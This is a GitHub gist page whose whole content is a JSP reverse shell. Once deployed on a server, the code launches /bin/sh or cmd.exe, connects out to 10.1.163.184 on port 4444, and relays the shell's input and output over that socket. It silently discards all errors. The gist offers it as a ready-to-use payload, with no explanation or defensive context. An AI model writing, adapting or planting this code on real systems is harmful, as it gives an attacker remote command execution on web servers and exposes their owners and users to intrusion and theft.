Skip to content

Instantly share code, notes, and snippets.

@riza
Created March 10, 2018 09:07
Show Gist options
  • Save riza/b27bf46a9bb3223097adefd826f86bdf to your computer and use it in GitHub Desktop.
Save riza/b27bf46a9bb3223097adefd826f86bdf to your computer and use it in GitHub Desktop.
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector extends Thread
{
InputStream al;
OutputStream nk;
StreamConnector( InputStream al, OutputStream nk )
{
this.al = al;
this.nk = nk;
}
public void run()
{
BufferedReader yy = null;
BufferedWriter zcr = null;
try
{
yy = new BufferedReader( new InputStreamReader( this.al ) );
zcr = new BufferedWriter( new OutputStreamWriter( this.nk ) );
char buffer[] = new char[8192];
int length;
while( ( length = yy.read( buffer, 0, buffer.length ) ) > 0 )
{
zcr.write( buffer, 0, length );
zcr.flush();
}
} catch( Exception e ){}
try
{
if( yy != null )
yy.close();
if( zcr != null )
zcr.close();
} catch( Exception e ){}
}
}
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket( "10.1.163.184", 4444 );
Process process = Runtime.getRuntime().exec( ShellPath );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment